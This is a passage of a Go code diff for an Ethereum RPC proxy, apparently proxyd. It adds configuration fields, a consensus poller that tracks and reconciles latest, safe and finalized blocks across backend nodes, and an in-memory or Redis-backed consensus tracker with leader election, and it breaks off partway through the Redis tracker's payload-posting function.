@@ type MetricsConfig struct { } type RateLimitConfig struct { - UseRedis bool `toml:"use_redis"` - EnableBackendRateLimiter bool `toml:"enable_backend_rate_limiter"` - BaseRate int `toml:"base_rate"` - BaseInterval TOMLDuration `toml:"base_interval"` - ExemptOrigins []string `toml:"exempt_origins"` - ExemptUserAgents []string `toml:"exempt_user_agents"` - ErrorMessage string `toml:"error_message"` - MethodOverrides map[string]*RateLimitMethodOverride `toml:"method_overrides"` + UseRedis bool `toml:"use_redis"` + BaseRate int `toml:"base_rate"` + BaseInterval TOMLDuration `toml:"base_interval"` + ExemptOrigins []string `toml:"exempt_origins"` + ExemptUserAgents []string `toml:"exempt_user_agents"` + ErrorMessage string `toml:"error_message"` + MethodOverrides map[string]*RateLimitMethodOverride `toml:"method_overrides"` } type RateLimitMethodOverride struct { @@ -71,10 +72,13 @@ func (t *TOMLDuration) UnmarshalText(b []byte) error { } type BackendOptions struct { - ResponseTimeoutSeconds int `toml:"response_timeout_seconds"` - MaxResponseSizeBytes int64 `toml:"max_response_size_bytes"` - MaxRetries int `toml:"max_retries"` - OutOfServiceSeconds int `toml:"out_of_service_seconds"` + ResponseTimeoutSeconds int `toml:"response_timeout_seconds"` + MaxResponseSizeBytes int64 `toml:"max_response_size_bytes"` + MaxRetries int `toml:"max_retries"` + OutOfServiceSeconds int `toml:"out_of_service_seconds"` + MaxDegradedLatencyThreshold TOMLDuration `toml:"max_degraded_latency_threshold"` + MaxLatencyThreshold TOMLDuration `toml:"max_latency_threshold"` + MaxErrorRateThreshold float64 `toml:"max_error_rate_threshold"` } type BackendConfig struct { @@ -82,18 +86,36 @@ type BackendConfig struct { Password string `toml:"password"` RPCURL string `toml:"rpc_url"` WSURL string `toml:"ws_url"` + WSPort int `toml:"ws_port"` MaxRPS int `toml:"max_rps"` MaxWSConns int `toml:"max_ws_conns"` CAFile string `toml:"ca_file"` ClientCertFile string `toml:"client_cert_file"` ClientKeyFile string `toml:"client_key_file"` StripTrailingXFF bool `toml:"strip_trailing_xff"` + + ConsensusSkipPeerCountCheck bool `toml:"consensus_skip_peer_count"` + ConsensusForcedCandidate bool `toml:"consensus_forced_candidate"` + ConsensusReceiptsTarget string `toml:"consensus_receipts_target"` } type BackendsConfig map[string]*BackendConfig type BackendGroupConfig struct { Backends []string `toml:"backends"` + + ConsensusAware bool `toml:"consensus_aware"` + ConsensusAsyncHandler string `toml:"consensus_handler"` + + ConsensusBanPeriod TOMLDuration `toml:"consensus_ban_period"` + ConsensusMaxUpdateThreshold TOMLDuration `toml:"consensus_max_update_threshold"` + ConsensusMaxBlockLag uint64 `toml:"consensus_max_block_lag"` + ConsensusMaxBlockRange uint64 `toml:"consensus_max_block_range"` + ConsensusMinPeerCount int `toml:"consensus_min_peer_count"` + + ConsensusHA bool `toml:"consensus_ha"` + ConsensusHAHeartbeatInterval TOMLDuration `toml:"consensus_ha_heartbeat_interval"` + ConsensusHALockPeriod TOMLDuration `toml:"consensus_ha_lock_period"` } type BackendGroupsConfig map[string]*BackendGroupConfig @@ -108,9 +130,10 @@ type BatchConfig struct { // SenderRateLimitConfig configures the sender-based rate limiter // for eth_sendRawTransaction requests. type SenderRateLimitConfig struct { - Enabled bool - Interval TOMLDuration - Limit int + Enabled bool + Interval TOMLDuration + Limit int + AllowedChainIds []*big.Int `toml:"allowed_chain_ids"` } type Config struct { diff --git a/go/proxyd/consensus_poller.go b/go/proxyd/consensus_poller.go new file mode 100644 index 0000000000..c72992cbd5 --- /dev/null +++ b/go/proxyd/consensus_poller.go @@ -0,0 +1,683 @@ +package proxyd + +import ( + "context" + "fmt" + "strconv" + "strings" + "sync" + "time" + + "github.com/ethereum/go-ethereum/common/hexutil" + + "github.com/ethereum/go-ethereum/log" +) + +const ( + PollerInterval = 1 * time.Second +) + +type OnConsensusBroken func() + +// ConsensusPoller checks the consensus state for each member of a BackendGroup +// resolves the highest common block for multiple nodes, and reconciles the consensus +// in case of block hash divergence to minimize re-orgs +type ConsensusPoller struct { + ctx context.Context + cancelFunc context.CancelFunc + listeners []OnConsensusBroken + + backendGroup *BackendGroup + backendState map[*Backend]*backendState + consensusGroupMux sync.Mutex + consensusGroup []*Backend + + tracker ConsensusTracker + asyncHandler ConsensusAsyncHandler + + minPeerCount uint64 + banPeriod time.Duration + maxUpdateThreshold time.Duration + maxBlockLag uint64 + maxBlockRange uint64 +} + +type backendState struct { + backendStateMux sync.Mutex + + latestBlockNumber hexutil.Uint64 + latestBlockHash string + safeBlockNumber hexutil.Uint64 + finalizedBlockNumber hexutil.Uint64 + + peerCount uint64 + inSync bool + + lastUpdate time.Time + + bannedUntil time.Time +} + +func (bs *backendState) IsBanned() bool { + return time.Now().Before(bs.bannedUntil) +} + +// GetConsensusGroup returns the backend members that are agreeing in a consensus +func (cp *ConsensusPoller) GetConsensusGroup() []*Backend { + defer cp.consensusGroupMux.Unlock() + cp.consensusGroupMux.Lock() + + g := make([]*Backend, len(cp.consensusGroup)) + copy(g, cp.consensusGroup) + + return g +} + +// GetLatestBlockNumber returns the `latest` agreed block number in a consensus +func (ct *ConsensusPoller) GetLatestBlockNumber() hexutil.Uint64 { + return ct.tracker.GetLatestBlockNumber() +} + +// GetSafeBlockNumber returns the `safe` agreed block number in a consensus +func (ct *ConsensusPoller) GetSafeBlockNumber() hexutil.Uint64 { + return ct.tracker.GetSafeBlockNumber() +} + +// GetFinalizedBlockNumber returns the `finalized` agreed block number in a consensus +func (ct *ConsensusPoller) GetFinalizedBlockNumber() hexutil.Uint64 { + return ct.tracker.GetFinalizedBlockNumber() +} + +func (cp *ConsensusPoller) Shutdown() { + cp.asyncHandler.Shutdown() +} + +// ConsensusAsyncHandler controls the asynchronous polling mechanism, interval and shutdown +type ConsensusAsyncHandler interface { + Init() + Shutdown() +} + +// NoopAsyncHandler allows fine control updating the consensus +type NoopAsyncHandler struct{} + +func NewNoopAsyncHandler() ConsensusAsyncHandler { + log.Warn("using NewNoopAsyncHandler") + return &NoopAsyncHandler{} +} +func (ah *NoopAsyncHandler) Init() {} +func (ah *NoopAsyncHandler) Shutdown() {} + +// PollerAsyncHandler asynchronously updates each individual backend and the group consensus +type PollerAsyncHandler struct { + ctx context.Context + cp *ConsensusPoller +} + +func NewPollerAsyncHandler(ctx context.Context, cp *ConsensusPoller) ConsensusAsyncHandler { + return &PollerAsyncHandler{ + ctx: ctx, + cp: cp, + } +} +func (ah *PollerAsyncHandler) Init() { + // create the individual backend pollers + for _, be := range ah.cp.backendGroup.Backends { + go func(be *Backend) { + for { + timer := time.NewTimer(PollerInterval) + ah.cp.UpdateBackend(ah.ctx, be) + + select { + case <-timer.C: + case <-ah.ctx.Done(): + timer.Stop() + return + } + } + }(be) + } + + // create the group consensus poller + go func() { + for { + timer := time.NewTimer(PollerInterval) + ah.cp.UpdateBackendGroupConsensus(ah.ctx) + + select { + case <-timer.C: + case <-ah.ctx.Done(): + timer.Stop() + return + } + } + }() +} +func (ah *PollerAsyncHandler) Shutdown() { + ah.cp.cancelFunc() +} + +type ConsensusOpt func(cp *ConsensusPoller) + +func WithTracker(tracker ConsensusTracker) ConsensusOpt { + return func(cp *ConsensusPoller) { + cp.tracker = tracker + } +} + +func WithAsyncHandler(asyncHandler ConsensusAsyncHandler) ConsensusOpt { + return func(cp *ConsensusPoller) { + cp.asyncHandler = asyncHandler + } +} + +func WithListener(listener OnConsensusBroken) ConsensusOpt { + return func(cp *ConsensusPoller) { + cp.AddListener(listener) + } +} + +func (cp *ConsensusPoller) AddListener(listener OnConsensusBroken) { + cp.listeners = append(cp.listeners, listener) +} + +func (cp *ConsensusPoller) ClearListeners() { + cp.listeners = []OnConsensusBroken{} +} + +func WithBanPeriod(banPeriod time.Duration) ConsensusOpt { + return func(cp *ConsensusPoller) { + cp.banPeriod = banPeriod + } +} + +func WithMaxUpdateThreshold(maxUpdateThreshold time.Duration) ConsensusOpt { + return func(cp *ConsensusPoller) { + cp.maxUpdateThreshold = maxUpdateThreshold + } +} + +func WithMaxBlockLag(maxBlockLag uint64) ConsensusOpt { + return func(cp *ConsensusPoller) { + cp.maxBlockLag = maxBlockLag + } +} + +func WithMaxBlockRange(maxBlockRange uint64) ConsensusOpt { + return func(cp *ConsensusPoller) { + cp.maxBlockRange = maxBlockRange + } +} + +func WithMinPeerCount(minPeerCount uint64) ConsensusOpt { + return func(cp *ConsensusPoller) { + cp.minPeerCount = minPeerCount + } +} + +func NewConsensusPoller(bg *BackendGroup, opts ...ConsensusOpt) *ConsensusPoller { + ctx, cancelFunc := context.WithCancel(context.Background()) + + state := make(map[*Backend]*backendState, len(bg.Backends)) + + cp := &ConsensusPoller{ + ctx: ctx, + cancelFunc: cancelFunc, + backendGroup: bg, + backendState: state, + + banPeriod: 5 * time.Minute, + maxUpdateThreshold: 30 * time.Second, + maxBlockLag: 8, // 8*12 seconds = 96 seconds ~ 1.6 minutes + minPeerCount: 3, + } + + for _, opt := range opts { + opt(cp) + } + + if cp.tracker == nil { + cp.tracker = NewInMemoryConsensusTracker() + } + + if cp.asyncHandler == nil { + cp.asyncHandler = NewPollerAsyncHandler(ctx, cp) + } + + cp.Reset() + cp.asyncHandler.Init() + + return cp +} + +// UpdateBackend refreshes the consensus state of a single backend +func (cp *ConsensusPoller) UpdateBackend(ctx context.Context, be *Backend) { + bs := cp.getBackendState(be) + RecordConsensusBackendBanned(be, bs.IsBanned()) + + if bs.IsBanned() { + log.Debug("skipping backend - banned", "backend", be.Name) + return + } + + // if backend is not healthy state we'll only resume checking it after ban + if !be.IsHealthy() && !be.forcedCandidate { + log.Warn("backend banned - not healthy", "backend", be.Name) + cp.Ban(be) + return + } + + inSync, err := cp.isInSync(ctx, be) + RecordConsensusBackendInSync(be, err == nil && inSync) + if err != nil { + log.Warn("error updating backend sync state", "name", be.Name, "err", err) + } + + var peerCount uint64 + if !be.skipPeerCountCheck { + peerCount, err = cp.getPeerCount(ctx, be) + if err != nil { + log.Warn("error updating backend peer count", "name", be.Name, "err", err) + } + RecordConsensusBackendPeerCount(be, peerCount) + } + + latestBlockNumber, latestBlockHash, err := cp.fetchBlock(ctx, be, "latest") + if err != nil { + log.Warn("error updating backend - latest block", "name", be.Name, "err", err) + } + + safeBlockNumber, _, err := cp.fetchBlock(ctx, be, "safe") + if err != nil { + log.Warn("error updating backend - safe block", "name", be.Name, "err", err) + } + + finalizedBlockNumber, _, err := cp.fetchBlock(ctx, be, "finalized") + if err != nil { + log.Warn("error updating backend - finalized block", "name", be.Name, "err", err) + } + + RecordConsensusBackendUpdateDelay(be, bs.lastUpdate) + + changed := cp.setBackendState(be, peerCount, inSync, + latestBlockNumber, latestBlockHash, + safeBlockNumber, finalizedBlockNumber) + + RecordBackendLatestBlock(be, latestBlockNumber) + RecordBackendSafeBlock(be, safeBlockNumber) + RecordBackendFinalizedBlock(be, finalizedBlockNumber) + + if changed { + log.Debug("backend state updated", + "name", be.Name, + "peerCount", peerCount, + "inSync", inSync, + "latestBlockNumber", latestBlockNumber, + "latestBlockHash", latestBlockHash, + "safeBlockNumber", safeBlockNumber, + "finalizedBlockNumber", finalizedBlockNumber, + "lastUpdate", bs.lastUpdate) + } + + // sanity check for latest, safe and finalized block tags + expectedBlockTags := cp.checkExpectedBlockTags( + latestBlockNumber, + bs.safeBlockNumber, safeBlockNumber, + bs.finalizedBlockNumber, finalizedBlockNumber) + + RecordBackendUnexpectedBlockTags(be, !expectedBlockTags) + + if !expectedBlockTags && !be.forcedCandidate { + log.Warn("backend banned - unexpected block tags", + "backend", be.Name, + "oldFinalized", bs.finalizedBlockNumber, + "finalizedBlockNumber", finalizedBlockNumber, + "oldSafe", bs.safeBlockNumber, + "safeBlockNumber", safeBlockNumber, + "latestBlockNumber", latestBlockNumber, + ) + cp.Ban(be) + } +} + +// checkExpectedBlockTags for unexpected conditions on block tags +// - finalized block number should never decrease +// - safe block number should never decrease +// - finalized block should be <= safe block <= latest block +func (cp *ConsensusPoller) checkExpectedBlockTags( + currentLatest hexutil.Uint64, + oldSafe hexutil.Uint64, currentSafe hexutil.Uint64, + oldFinalized hexutil.Uint64, currentFinalized hexutil.Uint64) bool { + return currentFinalized >= oldFinalized && + currentSafe >= oldSafe && + currentFinalized <= currentSafe && + currentSafe <= currentLatest +} + +// UpdateBackendGroupConsensus resolves the current group consensus based on the state of the backends +func (cp *ConsensusPoller) UpdateBackendGroupConsensus(ctx context.Context) { + // get the latest block number from the tracker + currentConsensusBlockNumber := cp.GetLatestBlockNumber() + + // get the candidates for the consensus group + candidates := cp.getConsensusCandidates() + + // update the lowest latest block number and hash + // the lowest safe block number + // the lowest finalized block number + var lowestLatestBlock hexutil.Uint64 + var lowestLatestBlockHash string + var lowestFinalizedBlock hexutil.Uint64 + var lowestSafeBlock hexutil.Uint64 + for _, bs := range candidates { + if lowestLatestBlock == 0 || bs.latestBlockNumber < lowestLatestBlock { + lowestLatestBlock = bs.latestBlockNumber + lowestLatestBlockHash = bs.latestBlockHash + } + if lowestFinalizedBlock == 0 || bs.finalizedBlockNumber < lowestFinalizedBlock { + lowestFinalizedBlock = bs.finalizedBlockNumber + } + if lowestSafeBlock == 0 || bs.safeBlockNumber < lowestSafeBlock { + lowestSafeBlock = bs.safeBlockNumber + } + } + + // find the proposed block among the candidates + // the proposed block needs have the same hash in the entire consensus group + proposedBlock := lowestLatestBlock + proposedBlockHash := lowestLatestBlockHash + hasConsensus := false + broken := false + + if lowestLatestBlock > currentConsensusBlockNumber { + log.Debug("validating consensus on block", "lowestLatestBlock", lowestLatestBlock) + } + + // if there is a block to propose, check if it is the same in all backends + if proposedBlock > 0 { + for !hasConsensus { + allAgreed := true + for be := range candidates { + actualBlockNumber, actualBlockHash, err := cp.fetchBlock(ctx, be, proposedBlock.String()) + if err != nil { + log.Warn("error updating backend", "name", be.Name, "err", err) + continue + } + if proposedBlockHash == "" { + proposedBlockHash = actualBlockHash + } + blocksDontMatch := (actualBlockNumber != proposedBlock) || (actualBlockHash != proposedBlockHash) + if blocksDontMatch { + if currentConsensusBlockNumber >= actualBlockNumber { + log.Warn("backend broke consensus", + "name", be.Name, + "actualBlockNumber", actualBlockNumber, + "actualBlockHash", actualBlockHash, + "proposedBlock", proposedBlock, + "proposedBlockHash", proposedBlockHash) + broken = true + } + allAgreed = false + break + } + } + if allAgreed { + hasConsensus = true + } else { + // walk one block behind and try again + proposedBlock -= 1 + proposedBlockHash = "" + log.Debug("no consensus, now trying", "block:", proposedBlock) + } + } + } + + if broken { + // propagate event to other interested parts, such as cache invalidator + for _, l := range cp.listeners { + l() + } + log.Info("consensus broken", + "currentConsensusBlockNumber", currentConsensusBlockNumber, + "proposedBlock", proposedBlock, + "proposedBlockHash", proposedBlockHash) + } + + // update tracker + cp.tracker.SetLatestBlockNumber(proposedBlock) + cp.tracker.SetSafeBlockNumber(lowestSafeBlock) + cp.tracker.SetFinalizedBlockNumber(lowestFinalizedBlock) + + // update consensus group + group := make([]*Backend, 0, len(candidates)) + consensusBackendsNames := make([]string, 0, len(candidates)) + filteredBackendsNames := make([]string, 0, len(cp.backendGroup.Backends)) + for _, be := range cp.backendGroup.Backends { + _, exist := candidates[be] + if exist { + group = append(group, be) + consensusBackendsNames = append(consensusBackendsNames, be.Name) + } else { + filteredBackendsNames = append(filteredBackendsNames, be.Name) + } + } + + cp.consensusGroupMux.Lock() + cp.consensusGroup = group + cp.consensusGroupMux.Unlock() + + RecordGroupConsensusLatestBlock(cp.backendGroup, proposedBlock) + RecordGroupConsensusSafeBlock(cp.backendGroup, lowestSafeBlock) + RecordGroupConsensusFinalizedBlock(cp.backendGroup, lowestFinalizedBlock) + + RecordGroupConsensusCount(cp.backendGroup, len(group)) + RecordGroupConsensusFilteredCount(cp.backendGroup, len(filteredBackendsNames)) + RecordGroupTotalCount(cp.backendGroup, len(cp.backendGroup.Backends)) + + log.Debug("group state", + "proposedBlock", proposedBlock, + "consensusBackends", strings.Join(consensusBackendsNames, ", "), + "filteredBackends", strings.Join(filteredBackendsNames, ", ")) +} + +// IsBanned checks if a specific backend is banned +func (cp *ConsensusPoller) IsBanned(be *Backend) bool { + bs := cp.backendState[be] + defer bs.backendStateMux.Unlock() + bs.backendStateMux.Lock() + return bs.IsBanned() +} + +// Ban bans a specific backend +func (cp *ConsensusPoller) Ban(be *Backend) { + if be.forcedCandidate { + return + } + + bs := cp.backendState[be] + defer bs.backendStateMux.Unlock() + bs.backendStateMux.Lock() + bs.bannedUntil = time.Now().Add(cp.banPeriod) + + // when we ban a node, we give it the chance to start from any block when it is back + bs.latestBlockNumber = 0 + bs.safeBlockNumber = 0 + bs.finalizedBlockNumber = 0 +} + +// Unban removes any bans from the backends +func (cp *ConsensusPoller) Unban(be *Backend) { + bs := cp.backendState[be] + defer bs.backendStateMux.Unlock() + bs.backendStateMux.Lock() + bs.bannedUntil = time.Now().Add(-10 * time.Hour) +} + +// Reset reset all backend states +func (cp *ConsensusPoller) Reset() { + for _, be := range cp.backendGroup.Backends { + cp.backendState[be] = &backendState{} + } +} + +// fetchBlock is a convenient wrapper to make a request to get a block directly from the backend +func (cp *ConsensusPoller) fetchBlock(ctx context.Context, be *Backend, block string) (blockNumber hexutil.Uint64, blockHash string, err error) { + var rpcRes RPCRes + err = be.ForwardRPC(ctx, &rpcRes, "67", "eth_getBlockByNumber", block, false) + if err != nil { + return 0, "", err + } + + jsonMap, ok := rpcRes.Result.(map[string]interface{}) + if !ok { + return 0, "", fmt.Errorf("unexpected response to eth_getBlockByNumber on backend %s", be.Name) + } + blockNumber = hexutil.Uint64(hexutil.MustDecodeUint64(jsonMap["number"].(string))) + blockHash = jsonMap["hash"].(string) + + return +} + +// getPeerCount is a convenient wrapper to retrieve the current peer count from the backend +func (cp *ConsensusPoller) getPeerCount(ctx context.Context, be *Backend) (count uint64, err error) { + var rpcRes RPCRes + err = be.ForwardRPC(ctx, &rpcRes, "67", "net_peerCount") + if err != nil { + return 0, err + } + + jsonMap, ok := rpcRes.Result.(string) + if !ok { + return 0, fmt.Errorf("unexpected response to net_peerCount on backend %s", be.Name) + } + + count = hexutil.MustDecodeUint64(jsonMap) + + return count, nil +} + +// isInSync is a convenient wrapper to check if the backend is in sync from the network +func (cp *ConsensusPoller) isInSync(ctx context.Context, be *Backend) (result bool, err error) { + var rpcRes RPCRes + err = be.ForwardRPC(ctx, &rpcRes, "67", "eth_syncing") + if err != nil { + return false, err + } + + var res bool + switch typed := rpcRes.Result.(type) { + case bool: + syncing := typed + res = !syncing + case string: + syncing, err := strconv.ParseBool(typed) + if err != nil { + return false, err + } + res = !syncing + default: + // result is a json when not in sync + res = false + } + + return res, nil +} + +// getBackendState creates a copy of backend state so that the caller can use it without locking +func (cp *ConsensusPoller) getBackendState(be *Backend) *backendState { + bs := cp.backendState[be] + defer bs.backendStateMux.Unlock() + bs.backendStateMux.Lock() + + return &backendState{ + latestBlockNumber: bs.latestBlockNumber, + latestBlockHash: bs.latestBlockHash, + safeBlockNumber: bs.safeBlockNumber, + finalizedBlockNumber: bs.finalizedBlockNumber, + peerCount: bs.peerCount, + inSync: bs.inSync, + lastUpdate: bs.lastUpdate, + bannedUntil: bs.bannedUntil, + } +} + +func (cp *ConsensusPoller) setBackendState(be *Backend, peerCount uint64, inSync bool, + latestBlockNumber hexutil.Uint64, latestBlockHash string, + safeBlockNumber hexutil.Uint64, + finalizedBlockNumber hexutil.Uint64) bool { + bs := cp.backendState[be] + bs.backendStateMux.Lock() + changed := bs.latestBlockHash != latestBlockHash + bs.peerCount = peerCount + bs.inSync = inSync + bs.latestBlockNumber = latestBlockNumber + bs.latestBlockHash = latestBlockHash + bs.finalizedBlockNumber = finalizedBlockNumber + bs.safeBlockNumber = safeBlockNumber + bs.lastUpdate = time.Now() + bs.backendStateMux.Unlock() + return changed +} + +// getConsensusCandidates find out what backends are the candidates to be in the consensus group +// and create a copy of current their state +// +// a candidate is a serving node within the following conditions: +// - not banned +// - healthy (network latency and error rate) +// - with minimum peer count +// - in sync +// - updated recently +// - not lagging latest block +func (cp *ConsensusPoller) getConsensusCandidates() map[*Backend]*backendState { + candidates := make(map[*Backend]*backendState, len(cp.backendGroup.Backends)) + + for _, be := range cp.backendGroup.Backends { + bs := cp.getBackendState(be) + if be.forcedCandidate { + candidates[be] = bs + continue + } + if bs.IsBanned() { + continue + } + if !be.IsHealthy() { + continue + } + if !be.skipPeerCountCheck && bs.peerCount < cp.minPeerCount { + continue + } + if !bs.inSync { + continue + } + if bs.lastUpdate.Add(cp.maxUpdateThreshold).Before(time.Now()) { + continue + } + + candidates[be] = bs + } + + // find the highest block, in order to use it defining the highest non-lagging ancestor block + var highestLatestBlock hexutil.Uint64 + for _, bs := range candidates { + if bs.latestBlockNumber > highestLatestBlock { + highestLatestBlock = bs.latestBlockNumber + } + } + + // find the highest common ancestor block + lagging := make([]*Backend, 0, len(candidates)) + for be, bs := range candidates { + // check if backend is lagging behind the highest block + if uint64(highestLatestBlock-bs.latestBlockNumber) > cp.maxBlockLag { + lagging = append(lagging, be) + } + } + + // remove lagging backends from the candidates + for _, be := range lagging { + delete(candidates, be) + } + + return candidates +} diff --git a/go/proxyd/consensus_tracker.go b/go/proxyd/consensus_tracker.go new file mode 100644 index 0000000000..158c31bdc6 --- /dev/null +++ b/go/proxyd/consensus_tracker.go @@ -0,0 +1,335 @@ +package proxyd + +import ( + "context" + "encoding/json" + "fmt" + "os" + "sync" + "time" + + "github.com/ethereum/go-ethereum/common/hexutil" + "github.com/ethereum/go-ethereum/log" + "github.com/go-redsync/redsync/v4" + "github.com/go-redsync/redsync/v4/redis/goredis/v9" + "github.com/redis/go-redis/v9" +) + +// ConsensusTracker abstracts how we store and retrieve the current consensus +// allowing it to be stored locally in-memory or in a shared Redis cluster +type ConsensusTracker interface { + GetLatestBlockNumber() hexutil.Uint64 + SetLatestBlockNumber(blockNumber hexutil.Uint64) + GetSafeBlockNumber() hexutil.Uint64 + SetSafeBlockNumber(blockNumber hexutil.Uint64) + GetFinalizedBlockNumber() hexutil.Uint64 + SetFinalizedBlockNumber(blockNumber hexutil.Uint64) +} + +// DTO to hold the current consensus state +type ConsensusTrackerState struct { + Latest hexutil.Uint64 `json:"latest"` + Safe hexutil.Uint64 `json:"safe"` + Finalized hexutil.Uint64 `json:"finalized"` +} + +func (ct *InMemoryConsensusTracker) update(o *ConsensusTrackerState) { + ct.mutex.Lock() + defer ct.mutex.Unlock() + + ct.state.Latest = o.Latest + ct.state.Safe = o.Safe + ct.state.Finalized = o.Finalized +} + +// InMemoryConsensusTracker store and retrieve in memory, async-safe +type InMemoryConsensusTracker struct { + mutex sync.Mutex + state *ConsensusTrackerState +} + +func NewInMemoryConsensusTracker() ConsensusTracker { + return &InMemoryConsensusTracker{ + mutex: sync.Mutex{}, + state: &ConsensusTrackerState{}, + } +} + +func (ct *InMemoryConsensusTracker) Valid() bool { + return ct.GetLatestBlockNumber() > 0 && + ct.GetSafeBlockNumber() > 0 && + ct.GetFinalizedBlockNumber() > 0 +} + +func (ct *InMemoryConsensusTracker) Behind(other *InMemoryConsensusTracker) bool { + return ct.GetLatestBlockNumber() < other.GetLatestBlockNumber() || + ct.GetSafeBlockNumber() < other.GetSafeBlockNumber() || + ct.GetFinalizedBlockNumber() < other.GetFinalizedBlockNumber() +} + +func (ct *InMemoryConsensusTracker) GetLatestBlockNumber() hexutil.Uint64 { + defer ct.mutex.Unlock() + ct.mutex.Lock() + + return ct.state.Latest +} + +func (ct *InMemoryConsensusTracker) SetLatestBlockNumber(blockNumber hexutil.Uint64) { + defer ct.mutex.Unlock() + ct.mutex.Lock() + + ct.state.Latest = blockNumber +} + +func (ct *InMemoryConsensusTracker) GetSafeBlockNumber() hexutil.Uint64 { + defer ct.mutex.Unlock() + ct.mutex.Lock() + + return ct.state.Safe +} + +func (ct *InMemoryConsensusTracker) SetSafeBlockNumber(blockNumber hexutil.Uint64) { + defer ct.mutex.Unlock() + ct.mutex.Lock() + + ct.state.Safe = blockNumber +} + +func (ct *InMemoryConsensusTracker) GetFinalizedBlockNumber() hexutil.Uint64 { + defer ct.mutex.Unlock() + ct.mutex.Lock() + + return ct.state.Finalized +} + +func (ct *InMemoryConsensusTracker) SetFinalizedBlockNumber(blockNumber hexutil.Uint64) { + defer ct.mutex.Unlock() + ct.mutex.Lock() + + ct.state.Finalized = blockNumber +} + +// RedisConsensusTracker store and retrieve in a shared Redis cluster, with leader election +type RedisConsensusTracker struct { + ctx context.Context + client *redis.Client + namespace string + backendGroup *BackendGroup + + redlock *redsync.Mutex + lockPeriod time.Duration + heartbeatInterval time.Duration + + leader bool + leaderName string + + // holds the state collected by local pollers + local *InMemoryConsensusTracker + + // holds a copy of the remote shared state + // when leader, updates the remote with the local state + remote *InMemoryConsensusTracker +} + +type RedisConsensusTrackerOpt func(cp *RedisConsensusTracker) + +func WithLockPeriod(lockPeriod time.Duration) RedisConsensusTrackerOpt { + return func(ct *RedisConsensusTracker) { + ct.lockPeriod = lockPeriod + } +} + +func WithHeartbeatInterval(heartbeatInterval time.Duration) RedisConsensusTrackerOpt { + return func(ct *RedisConsensusTracker) { + ct.heartbeatInterval = heartbeatInterval + } +} +func NewRedisConsensusTracker(ctx context.Context, + redisClient *redis.Client, + bg *BackendGroup, + namespace string, + opts ...RedisConsensusTrackerOpt) ConsensusTracker { + + tracker := &RedisConsensusTracker{ + ctx: ctx, + client: redisClient, + backendGroup: bg, + namespace: namespace, + + lockPeriod: 30 * time.Second, + heartbeatInterval: 2 * time.Second, + local: NewInMemoryConsensusTracker().(*InMemoryConsensusTracker), + remote: NewInMemoryConsensusTracker().(*InMemoryConsensusTracker), + } + + for _, opt := range opts { + opt(tracker) + } + + return tracker +} + +func (ct *RedisConsensusTracker) Init() { + go func() { + for { + timer := time.NewTimer(ct.heartbeatInterval) + ct.stateHeartbeat() + + select { + case <-timer.C: + continue + case <-ct.ctx.Done(): + timer.Stop() + return + } + } + }() +} + +func (ct *RedisConsensusTracker) stateHeartbeat() { + pool := goredis.NewPool(ct.client) + rs := redsync.New(pool) + key := ct.key("mutex") + + val, err := ct.client.Get(ct.ctx, key).Result() + if err != nil && err != redis.Nil { + log.Error("failed to read the lock", "err", err) + if ct.leader { + ok, err := ct.redlock.Unlock() + if err != nil || !ok { + log.Error("failed to release the lock after error", "err", err) + return + } + ct.leader = false + } + return + } + if val != "" { + if ct.leader { + log.Debug("extending lock") + ok, err := ct.redlock.Extend() + if err != nil || !ok { + log.Error("failed to extend lock", "err", err, "mutex", ct.redlock.Name(), "val", ct.redlock.Value()) + ok, err := ct.redlock.Unlock() + if err != nil || !ok { + log.Error("failed to release the lock after error", "err", err) + return + } + ct.leader = false + return + } + ct.postPayload(val) + } else { + // retrieve current leader + leaderName, err := ct.client.Get(ct.ctx, ct.key(fmt.Sprintf("leader:%s", val))).Result() + if err != nil && err != redis.Nil { + log.Error("failed to read the remote leader", "err", err) + return + } + ct.leaderName = leaderName + log.Debug("following", "val", val, "leader", leaderName) + // retrieve payload + val, err := ct.client.Get(ct.ctx, ct.key(fmt.Sprintf("state:%s", val))).Result() + if err != nil && err != redis.Nil { + log.Error("failed to read the remote state", "err", err) + return + } + if val == "" { + log.Error("remote state is missing (recent leader election maybe?)") + return + } + state := &ConsensusTrackerState{} + err = json.Unmarshal([]byte(val), state) + if err != nil { + log.Error("failed to unmarshal the remote state", "err", err) + return + } + + ct.remote.update(state) + log.Debug("updated state from remote", "state", val, "leader", leaderName) + + RecordGroupConsensusHALatestBlock(ct.backendGroup, leaderName, ct.remote.state.Latest) + RecordGroupConsensusHASafeBlock(ct.backendGroup, leaderName, ct.remote.state.Safe) + RecordGroupConsensusHAFinalizedBlock(ct.backendGroup, leaderName, ct.remote.state.Finalized) + } + } else { + if !ct.local.Valid() { + log.Warn("local state is not valid or behind remote, skipping") + return + } + if ct.remote.Valid() && ct.local.Behind(ct.remote) { + log.Warn("local state is behind remote, skipping") + return + } + + log.Info("lock not found, creating a new one") + + mutex := rs.NewMutex(key, + redsync.WithExpiry(ct.lockPeriod), + redsync.WithFailFast(true), + redsync.WithTries(1)) + + // nosemgrep: missing-unlock-before-return + // this lock is hold indefinitely, and it is extended until the leader dies + if err := mutex.Lock(); err != nil { + log.Debug("failed to obtain lock", "err", err) + ct.leader = false + return + } + + log.Info("lock acquired", "mutex", mutex.Name(), "val", mutex.Value()) + ct.redlock = mutex + ct.leader = true + ct.postPayload(mutex.Value()) + } +} + +func (ct *RedisConsensusTracker) key(tag string) string { + return fmt.Sprintf("consensus:%s:%s", ct.namespace, tag) +} + +func (ct *RedisConsensusTracker) GetLatestBlockNumber() hexutil.Uint64 { + return ct.remote.GetLatestBlockNumber() +} + +func (ct *RedisConsensusTracker) SetLatestBlockNumber(blockNumber hexutil.Uint64) { + ct.local.SetLatestBlockNumber(blockNumber) +} + +func (ct *RedisConsensusTracker) GetSafeBlockNumber() hexutil.Uint64 { + return ct.remote.GetSafeBlockNumber() +} + +func (ct *RedisConsensusTracker) SetSafeBlockNumber(blockNumber hexutil.Uint64) { + ct.local.SetSafeBlockNumber(blockNumber) +} + +func (ct *RedisConsensusTracker) GetFinalizedBlockNumber() hexutil.Uint64 { + return ct.remote.GetFinalizedBlockNumber() +} + +func (ct *RedisConsensusTracker) SetFinalizedBlockNumber(blockNumber hexutil.Uint64) { + ct.local.SetFinalizedBlockNumber(blockNumber) +} + +func (ct *RedisConsensusTracker) postPayload(mutexVal string) { + jsonState, err := json.Marshal(ct.local.state) + if err != nil { + log.Error("failed to marshal local", "err", err) + ct.leader = false + return + } + ct.client.Set(ct.ctx, ct.key(fmt.Sprintf("state:%s", mutexVal)), jsonState, ct.lockPeriod) + + leader, _ := os.LookupEnv("HOSTNAME") + 